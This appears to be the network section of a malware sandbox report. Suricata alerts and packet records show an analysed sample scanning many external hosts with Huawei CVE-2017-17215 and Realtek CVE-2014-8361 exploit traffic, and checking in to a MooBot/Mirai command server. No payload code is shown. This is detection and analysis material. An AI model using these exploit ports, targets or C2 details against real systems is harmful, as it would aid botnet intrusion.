07/20/24-23:01:14.523933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48456	52869	192.168.2.13	89.57.196.100
07/20/24-23:01:36.785490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50408	37215	192.168.2.13	157.213.14.144
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52648	37215	192.168.2.13	197.222.191.140
07/20/24-23:01:14.526400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45676	52869	192.168.2.13	205.130.81.109
07/20/24-23:01:14.546238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42016	52869	192.168.2.13	195.228.120.248
07/20/24-23:01:27.354561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60598	52869	192.168.2.13	52.137.120.101
07/20/24-23:01:21.747671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47424	52869	192.168.2.13	206.120.243.243
07/20/24-23:01:14.541501	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48706	52869	192.168.2.13	79.212.148.111
07/20/24-23:01:08.455371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33714	37215	192.168.2.13	197.166.232.148
07/20/24-23:01:14.569004	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38430	52869	192.168.2.13	124.49.210.94
07/20/24-23:01:07.479520	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58964	52869	192.168.2.13	80.49.148.206
07/20/24-23:01:14.513053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32854	52869	192.168.2.13	188.226.47.52
07/20/24-23:01:25.388641	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47522	37215	192.168.2.13	49.115.129.156
07/20/24-23:01:04.594736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43384	52869	192.168.2.13	90.220.208.134
07/20/24-23:01:22.736839	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43120	37215	192.168.2.13	182.15.219.180
07/20/24-23:01:04.861979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40372	37215	192.168.2.13	197.7.228.103
07/20/24-23:01:27.366829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38852	52869	192.168.2.13	218.4.141.45
07/20/24-23:01:36.796105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45464	37215	192.168.2.13	41.15.211.155
07/20/24-23:01:14.539913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37472	52869	192.168.2.13	130.147.77.29
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36368	37215	192.168.2.13	41.170.167.134
07/20/24-23:01:08.459273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56380	37215	192.168.2.13	41.105.81.146
07/20/24-23:01:06.823879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44270	37215	192.168.2.13	157.165.41.153
07/20/24-23:01:06.813789	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36270	37215	192.168.2.13	197.177.103.8
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38322	37215	192.168.2.13	197.122.225.93
07/20/24-23:01:15.708682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50820	52869	192.168.2.13	96.235.29.144
07/20/24-23:00:59.022894	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42034	37215	192.168.2.13	163.150.42.115
07/20/24-23:01:12.356455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52036	37215	192.168.2.13	157.76.15.207
07/20/24-23:02:20.309421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39848	37215	192.168.2.13	111.129.109.250
07/20/24-23:01:07.404232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44042	52869	192.168.2.13	126.183.144.210
07/20/24-23:01:36.852816	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44128	37215	192.168.2.13	157.61.244.136
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54008	37215	192.168.2.13	197.4.9.142
07/20/24-23:01:32.282562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37198	37215	192.168.2.13	41.156.134.175
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39376	37215	192.168.2.13	41.79.65.151
07/20/24-23:01:25.389915	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58430	37215	192.168.2.13	197.201.96.18
07/20/24-23:01:05.488122	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43970	52869	192.168.2.13	186.203.154.108
07/20/24-23:01:14.536390	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57074	52869	192.168.2.13	153.33.151.65
07/20/24-23:01:14.521865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34230	52869	192.168.2.13	126.66.84.101
07/20/24-23:01:06.798361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53378	37215	192.168.2.13	197.166.87.182
07/20/24-23:01:27.356781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53766	52869	192.168.2.13	147.249.130.149
07/20/24-23:01:06.799605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39816	37215	192.168.2.13	53.181.49.136
07/20/24-23:01:14.998118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57822	37215	192.168.2.13	128.216.207.69
07/20/24-23:01:22.815176	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47104	37215	192.168.2.13	88.255.138.29
07/20/24-23:01:06.147232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59158	52869	192.168.2.13	164.8.255.47
07/20/24-23:01:04.803876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41132	52869	192.168.2.13	170.171.127.228
07/20/24-23:01:06.812618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54886	37215	192.168.2.13	197.149.160.135

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-20T23:00:59.026594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44818	37215	192.168.2.13	197.145.183.59
2024-07-20T23:01:04.151190+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53024	52869	192.168.2.13	168.214.55.135
2024-07-20T23:01:02.682054+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33836	37215	192.168.2.13	90.118.180.212
2024-07-20T23:01:02.612616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33622	37215	192.168.2.13	41.215.54.255
2024-07-20T23:01:02.628234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57060	37215	192.168.2.13	197.31.246.31
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34758	37215	192.168.2.13	41.120.70.192
2024-07-20T23:01:02.630936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59198	37215	192.168.2.13	41.60.18.93
2024-07-20T23:01:04.443673+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49284	52869	192.168.2.13	103.233.66.3
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54014	37215	192.168.2.13	157.18.137.5
2024-07-20T23:01:07.548019+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	57820	2466	192.168.2.13	15.235.203.214
2024-07-20T23:01:02.688342+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40374	37215	192.168.2.13	197.186.137.146
2024-07-20T23:01:02.707801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46006	37215	192.168.2.13	41.171.233.155
2024-07-20T23:01:02.613456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58204	37215	192.168.2.13	40.45.115.153
2024-07-20T23:01:02.628234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52190	37215	192.168.2.13	157.45.209.254
2024-07-20T23:01:00.761595+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44962	37215	192.168.2.13	197.6.247.149
2024-07-20T23:01:02.630936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44900	37215	192.168.2.13	197.77.114.34
2024-07-20T23:01:02.722900+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56702	37215	192.168.2.13	173.132.232.37
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38052	37215	192.168.2.13	41.195.201.112
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47188	37215	192.168.2.13	41.74.135.43
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34612	37215	192.168.2.13	197.189.139.115
2024-07-20T23:01:04.219068+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43308	52869	192.168.2.13	104.26.83.71
2024-07-20T23:01:02.613456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43958	37215	192.168.2.13	41.68.213.107
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58604	37215	192.168.2.13	41.236.26.155
2024-07-20T23:01:12.543115+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46248	37215	192.168.2.13	157.158.192.126
2024-07-20T23:00:59.026594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51784	37215	192.168.2.13	109.174.172.219
2024-07-20T23:00:59.026594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38898	37215	192.168.2.13	104.8.73.49
2024-07-20T23:01:02.707801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47758	37215	192.168.2.13	157.113.83.79
2024-07-20T23:01:09.519366+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43218	37215	192.168.2.13	41.152.248.171
2024-07-20T23:00:59.026594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59660	37215	192.168.2.13	114.116.15.132
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52990	37215	192.168.2.13	157.200.28.48
2024-07-20T23:01:08.483493+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44850	52869	192.168.2.13	160.89.205.146
2024-07-20T23:01:02.612616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34794	37215	192.168.2.13	197.74.4.205
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51348	37215	192.168.2.13	157.25.228.57
2024-07-20T23:01:02.682055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51910	37215	192.168.2.13	157.125.89.203
2024-07-20T23:01:04.209332+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48954	52869	192.168.2.13	162.160.111.35
2024-07-20T23:01:05.224600+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57426	52869	192.168.2.13	144.242.214.134
2024-07-20T23:01:02.630936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35908	37215	192.168.2.13	197.194.56.97
2024-07-20T23:01:02.613456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.13	197.206.209.177
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43210	37215	192.168.2.13	157.69.83.103
2024-07-20T23:01:03.690986+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34450	52869	192.168.2.13	112.104.240.153
2024-07-20T23:01:04.146053+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59558	52869	192.168.2.13	52.188.85.89
2024-07-20T23:01:04.136710+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45482	52869	192.168.2.13	202.179.114.114
2024-07-20T23:01:02.612616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47378	37215	192.168.2.13	157.12.134.58
2024-07-20T23:01:04.871912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32802	37215	192.168.2.13	197.49.222.44
2024-07-20T23:01:12.492181+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42094	37215	192.168.2.13	157.206.199.24
2024-07-20T23:01:02.630936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37284	37215	192.168.2.13	14.117.126.33
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42080	37215	192.168.2.13	197.107.200.173
2024-07-20T23:01:09.519366+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38700	37215	192.168.2.13	23.208.206.64
2024-07-20T23:01:12.517792+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54774	37215	192.168.2.13	157.196.5.149
2024-07-20T23:01:02.628234+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35738	37215	192.168.2.13	41.59.239.153
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41644	37215	192.168.2.13	197.214.26.254
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37170	37215	192.168.2.13	197.94.251.61
2024-07-20T23:00:58.677396+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53098	2466	192.168.2.13	15.235.203.214
2024-07-20T23:01:02.607576+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43498	37215	192.168.2.13	197.68.211.95
2024-07-20T23:01:02.707801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35050	37215	192.168.2.13	111.163.203.195
2024-07-20T23:00:59.026594+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44802	37215	192.168.2.13	194.65.196.65
2024-07-20T23:01:02.630936+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44020	37215	192.168.2.13	132.227.49.42
2024-07-20T23:01:03.891517+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41808	52869	192.168.2.13	173.70.195.138
2024-07-20T23:01:04.444598+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52134	52869	192.168.2.13	58.55.6.110
2024-07-20T23:01:05.099102+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53172	52869	192.168.2.13	51.169.114.105
2024-07-20T23:01:02.693657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59598	37215	192.168.2.13	197.137.132.163
2024-07-20T23:01:05.272716+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34054	52869	192.168.2.13	98.189.122.151
2024-07-20T23:01:04.878803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53592	37215	192.168.2.13	197.221.120.154
2024-07-20T23:01:02.613351+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52314	37215	192.168.2.13	197.140.115.231
2024-07-20T23:01:09.513046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58218	37215	192.168.2.13	145.152.149.135
2024-07-20T23:01:04.584969+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46442	52869	192.168.2.13	80.226.91.150

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2024 23:00:58.529619932 CEST	50563	37215	192.168.2.13	157.3.21.190
Jul 20, 2024 23:00:58.529913902 CEST	50563	37215	192.168.2.13	41.56.118.161
Jul 20, 2024 23:00:58.529947042 CEST	50563	37215	192.168.2.13	197.214.55.135
Jul 20, 2024 23:00:58.530062914 CEST	50563	37215	192.168.2.13	182.85.50.153
Jul 20, 2024 23:00:58.530141115 CEST	50563	37215	192.168.2.13	197.92.237.222
Jul 20, 2024 23:00:58.530220985 CEST	50563	37215	192.168.2.13	157.200.98.141
Jul 20, 2024 23:00:58.530232906 CEST	50563	37215	192.168.2.13	212.19.225.186
Jul 20, 2024 23:00:58.530232906 CEST	50563	37215	192.168.2.13	194.65.196.65
Jul 20, 2024 23:00:58.530301094 CEST	50563	37215	192.168.2.13	197.234.38.242
Jul 20, 2024 23:00:58.530318975 CEST	50563	37215	192.168.2.13	159.247.186.213
Jul 20, 2024 23:00:58.530333996 CEST	50563	37215	192.168.2.13	109.174.172.219
Jul 20, 2024 23:00:58.530355930 CEST	50563	37215	192.168.2.13	157.154.83.107
Jul 20, 2024 23:00:58.530427933 CEST	50563	37215	192.168.2.13	197.64.178.193
Jul 20, 2024 23:00:58.530463934 CEST	50563	37215	192.168.2.13	104.8.73.49
Jul 20, 2024 23:00:58.530466080 CEST	50563	37215	192.168.2.13	124.38.65.99
Jul 20, 2024 23:00:58.530500889 CEST	50563	37215	192.168.2.13	41.201.10.23
Jul 20, 2024 23:00:58.530512094 CEST	50563	37215	192.168.2.13	157.34.28.229
Jul 20, 2024 23:00:58.530529022 CEST	50563	37215	192.168.2.13	157.249.112.126
Jul 20, 2024 23:00:58.530567884 CEST	50563	37215	192.168.2.13	157.62.193.172
Jul 20, 2024 23:00:58.530606985 CEST	50563	37215	192.168.2.13	157.34.92.241
Jul 20, 2024 23:00:58.530623913 CEST	50563	37215	192.168.2.13	157.134.72.2
Jul 20, 2024 23:00:58.530639887 CEST	50563	37215	192.168.2.13	197.130.190.85
Jul 20, 2024 23:00:58.530662060 CEST	50563	37215	192.168.2.13	157.178.20.242
Jul 20, 2024 23:00:58.530745029 CEST	50563	37215	192.168.2.13	41.209.60.208
Jul 20, 2024 23:00:58.530751944 CEST	50563	37215	192.168.2.13	41.128.69.214
Jul 20, 2024 23:00:58.530775070 CEST	50563	37215	192.168.2.13	197.6.247.149
Jul 20, 2024 23:00:58.530775070 CEST	50563	37215	192.168.2.13	197.245.35.233
Jul 20, 2024 23:00:58.530814886 CEST	50563	37215	192.168.2.13	41.17.9.128
Jul 20, 2024 23:00:58.530864000 CEST	50563	37215	192.168.2.13	197.39.121.171
Jul 20, 2024 23:00:58.530934095 CEST	50563	37215	192.168.2.13	197.21.88.67
Jul 20, 2024 23:00:58.530934095 CEST	50563	37215	192.168.2.13	157.40.102.40
Jul 20, 2024 23:00:58.530961990 CEST	50563	37215	192.168.2.13	157.245.110.242
Jul 20, 2024 23:00:58.530991077 CEST	50563	37215	192.168.2.13	41.185.235.4
Jul 20, 2024 23:00:58.531023979 CEST	50563	37215	192.168.2.13	197.168.76.154
Jul 20, 2024 23:00:58.531044006 CEST	50563	37215	192.168.2.13	157.108.71.72
Jul 20, 2024 23:00:58.531065941 CEST	50563	37215	192.168.2.13	197.145.183.59
Jul 20, 2024 23:00:58.531099081 CEST	50563	37215	192.168.2.13	197.124.222.24
Jul 20, 2024 23:00:58.531167030 CEST	50563	37215	192.168.2.13	106.174.68.245
Jul 20, 2024 23:00:58.531198978 CEST	50563	37215	192.168.2.13	197.190.172.118
Jul 20, 2024 23:00:58.531255960 CEST	50563	37215	192.168.2.13	157.231.126.250
Jul 20, 2024 23:00:58.531256914 CEST	50563	37215	192.168.2.13	192.48.206.157
Jul 20, 2024 23:00:58.531276941 CEST	50563	37215	192.168.2.13	157.15.177.153
Jul 20, 2024 23:00:58.531310081 CEST	50563	37215	192.168.2.13	157.213.124.92
Jul 20, 2024 23:00:58.531428099 CEST	50563	37215	192.168.2.13	114.116.15.132
Jul 20, 2024 23:00:58.531450033 CEST	50563	37215	192.168.2.13	157.1.12.172
Jul 20, 2024 23:00:58.531491041 CEST	50563	37215	192.168.2.13	67.164.145.87
Jul 20, 2024 23:00:58.531529903 CEST	50563	37215	192.168.2.13	157.220.78.185
Jul 20, 2024 23:00:58.531575918 CEST	50563	37215	192.168.2.13	157.110.69.240
Jul 20, 2024 23:00:58.531589031 CEST	50563	37215	192.168.2.13	41.152.229.173
Jul 20, 2024 23:00:58.531651974 CEST	50563	37215	192.168.2.13	65.79.209.34
Jul 20, 2024 23:00:58.531671047 CEST	50563	37215	192.168.2.13	157.207.241.220
Jul 20, 2024 23:00:58.531718969 CEST	50563	37215	192.168.2.13	41.150.219.200
Jul 20, 2024 23:00:58.531745911 CEST	50563	37215	192.168.2.13	41.143.52.237
Jul 20, 2024 23:00:58.531771898 CEST	50563	37215	192.168.2.13	41.4.10.141
Jul 20, 2024 23:00:58.532785892 CEST	50563	37215	192.168.2.13	157.221.232.194
Jul 20, 2024 23:00:58.532836914 CEST	50563	37215	192.168.2.13	197.251.162.147
Jul 20, 2024 23:00:58.532852888 CEST	50563	37215	192.168.2.13	157.34.193.24
Jul 20, 2024 23:00:58.532910109 CEST	50563	37215	192.168.2.13	197.212.205.171
Jul 20, 2024 23:00:58.532917023 CEST	50563	37215	192.168.2.13	41.56.89.231
Jul 20, 2024 23:00:58.532943010 CEST	50563	37215	192.168.2.13	146.70.72.45
Jul 20, 2024 23:00:58.532984972 CEST	50563	37215	192.168.2.13	41.189.96.61
Jul 20, 2024 23:00:58.533013105 CEST	50563	37215	192.168.2.13	157.217.75.121
Jul 20, 2024 23:00:58.533030033 CEST	50563	37215	192.168.2.13	41.221.193.109
Jul 20, 2024 23:00:58.533050060 CEST	50563	37215	192.168.2.13	197.169.132.127
Jul 20, 2024 23:00:58.533107042 CEST	50563	37215	192.168.2.13	157.120.216.98
Jul 20, 2024 23:00:58.533116102 CEST	50563	37215	192.168.2.13	41.249.185.214
Jul 20, 2024 23:00:58.533147097 CEST	50563	37215	192.168.2.13	41.79.155.141
Jul 20, 2024 23:00:58.533217907 CEST	50563	37215	192.168.2.13	197.187.33.168
Jul 20, 2024 23:00:58.533286095 CEST	50563	37215	192.168.2.13	125.249.77.242
Jul 20, 2024 23:00:58.533329964 CEST	50563	37215	192.168.2.13	197.223.209.28
Jul 20, 2024 23:00:58.533454895 CEST	50563	37215	192.168.2.13	93.9.19.89
Jul 20, 2024 23:00:58.533477068 CEST	50563	37215	192.168.2.13	197.97.128.59
Jul 20, 2024 23:00:58.533545971 CEST	50563	37215	192.168.2.13	41.159.197.0
Jul 20, 2024 23:00:58.533562899 CEST	50563	37215	192.168.2.13	176.67.81.161
Jul 20, 2024 23:00:58.533610106 CEST	50563	37215	192.168.2.13	76.177.197.57
Jul 20, 2024 23:00:58.533638954 CEST	50563	37215	192.168.2.13	197.177.149.36
Jul 20, 2024 23:00:58.533675909 CEST	50563	37215	192.168.2.13	97.134.173.191
Jul 20, 2024 23:00:58.533703089 CEST	50563	37215	192.168.2.13	41.213.116.126
Jul 20, 2024 23:00:58.533732891 CEST	50563	37215	192.168.2.13	41.38.141.113
Jul 20, 2024 23:00:58.533797026 CEST	50563	37215	192.168.2.13	41.74.157.18
Jul 20, 2024 23:00:58.533823967 CEST	50563	37215	192.168.2.13	41.98.148.11
Jul 20, 2024 23:00:58.533848047 CEST	50563	37215	192.168.2.13	49.84.15.105
Jul 20, 2024 23:00:58.533886909 CEST	50563	37215	192.168.2.13	60.145.150.83
Jul 20, 2024 23:00:58.533935070 CEST	50563	37215	192.168.2.13	41.19.92.14
Jul 20, 2024 23:00:58.533951998 CEST	50563	37215	192.168.2.13	197.121.124.32
Jul 20, 2024 23:00:58.534003019 CEST	50563	37215	192.168.2.13	172.133.249.30
Jul 20, 2024 23:00:58.534054041 CEST	50563	37215	192.168.2.13	132.69.225.35
Jul 20, 2024 23:00:58.534096956 CEST	50563	37215	192.168.2.13	157.101.44.86
Jul 20, 2024 23:00:58.534121990 CEST	50563	37215	192.168.2.13	191.91.109.175
Jul 20, 2024 23:00:58.534173012 CEST	50563	37215	192.168.2.13	41.33.107.67
Jul 20, 2024 23:00:58.534198046 CEST	50563	37215	192.168.2.13	41.35.143.124
Jul 20, 2024 23:00:58.534245968 CEST	50563	37215	192.168.2.13	197.46.43.121
Jul 20, 2024 23:00:58.534284115 CEST	50563	37215	192.168.2.13	157.29.187.206
Jul 20, 2024 23:00:58.534312010 CEST	50563	37215	192.168.2.13	159.75.117.52
Jul 20, 2024 23:00:58.534358978 CEST	50563	37215	192.168.2.13	41.78.20.159
Jul 20, 2024 23:00:58.534389973 CEST	50563	37215	192.168.2.13	197.173.198.75
Jul 20, 2024 23:00:58.534420013 CEST	50563	37215	192.168.2.13	197.166.97.17
Jul 20, 2024 23:00:58.534440994 CEST	50563	37215	192.168.2.13	143.194.179.157
Jul 20, 2024 23:00:58.534522057 CEST	50563	37215	192.168.2.13	34.245.129.1
Jul 20, 2024 23:00:58.534557104 CEST	50563	37215	192.168.2.13	197.134.178.138
Jul 20, 2024 23:00:58.534632921 CEST	50563	37215	192.168.2.13	157.220.215.87
Jul 20, 2024 23:00:58.534720898 CEST	50563	37215	192.168.2.13	112.103.69.140
Jul 20, 2024 23:00:58.534720898 CEST	50563	37215	192.168.2.13	197.28.72.122
Jul 20, 2024 23:00:58.534750938 CEST	50563	37215	192.168.2.13	157.164.23.166
Jul 20, 2024 23:00:58.534847021 CEST	37215	50563	157.3.21.190	192.168.2.13
Jul 20, 2024 23:00:58.534888983 CEST	37215	50563	41.56.118.161	192.168.2.13
Jul 20, 2024 23:00:58.534908056 CEST	50563	37215	192.168.2.13	157.3.21.190
